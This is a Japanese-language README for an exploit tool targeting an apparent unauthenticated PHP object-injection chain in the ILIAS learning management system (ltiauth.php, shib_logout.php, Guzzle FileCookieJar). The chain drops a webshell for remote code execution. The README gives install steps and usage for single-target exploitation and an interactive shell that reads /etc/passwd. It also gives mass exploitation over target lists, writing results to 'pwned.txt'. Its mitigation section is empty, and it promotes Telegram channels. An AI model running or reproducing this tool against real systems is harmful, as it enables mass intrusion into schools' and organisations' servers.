CVE-2026-80428

📖 目次

• 🔍 概要
• ⚙️ 脆弱性チェーン
• 🎯 影響を受けるバージョン
• ✨ 機能
• 📦 インストール
• 🚀 使用方法
  • 単一ターゲットのエクスプロイト
  • インタラクティブシェル
  • 一括エクスプロイト
• 📁 ターゲットリストの形式
• 🖼️ スクリーンショット
• 🛡️ 緩和策
• 📢 チャンネルとコミュニティ
• ⚠️ 免責事項

🔍 概要

CVE-2026-80428 は、ILIAS 学習管理システムに影響を与える重大な未認証のPHPオブジェクトインジェクション脆弱性です。ltiauth.php におけるセッションポイズニングのプリミティブと、shib_logout.php における安全でない unserialize() 呼び出しを連鎖させることで、攻撃者は任意のファイル書き込みを実行し、最終的にリモートコード実行（RCE）を達成できます — しかも認証なしで。

⚙️ 脆弱性チェーン

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

ステップバイステップ:

1. ltiauth.php は検証なしでシリアライズされたペイロードを PHP セッション内に保存します。
2. shib_logout.php は細工された Shibboleth LogoutNotification SOAP リクエストを処理し、セッションデータに対して unserialize() を呼び出します。
3. GuzzleHttp\Cookie\FileCookieJar ガジェットが file_put_contents() を呼び出し、攻撃者が制御するパスに PHP webshell を書き込みます。

🎯 影響を受けるバージョン

✨ 機能

📦 インストール

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

要件:

• Python 3.8+
• requests
• urllib3

🚀 使用方法

python3 CVE-2026-80428.py <mode> [options]

📌 単一ターゲットエクスプロイト

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

オプション:

💻 インタラクティブシェル

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 大規模エクスプロイト

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

オプション:

📁 ターゲットリスト形式

targets.txt ファイルを作成します:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

対応フォーマット:

• host
• host:port
• http://host
• https://host:port
• host/path (パスは除去)

🖼️ スクリーンショット

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ 緩和策

防御者およびシステム管理者向け:

📢 チャンネルとコミュニティ

🌐 コミュニティに参加

 

 

📬 直接連絡先

👤 プラットフォーム	🔗 ハンドル
💬 Telegram DM	@HackfutS3c
☁️ ULP Cloud	@ulp_CLOUD1
📢 チャンネル1	t.me/+gsrpvshwGUc5MzI0
📢 チャンネル2	t.me/LinxProdXs404

⚠️ 免責事項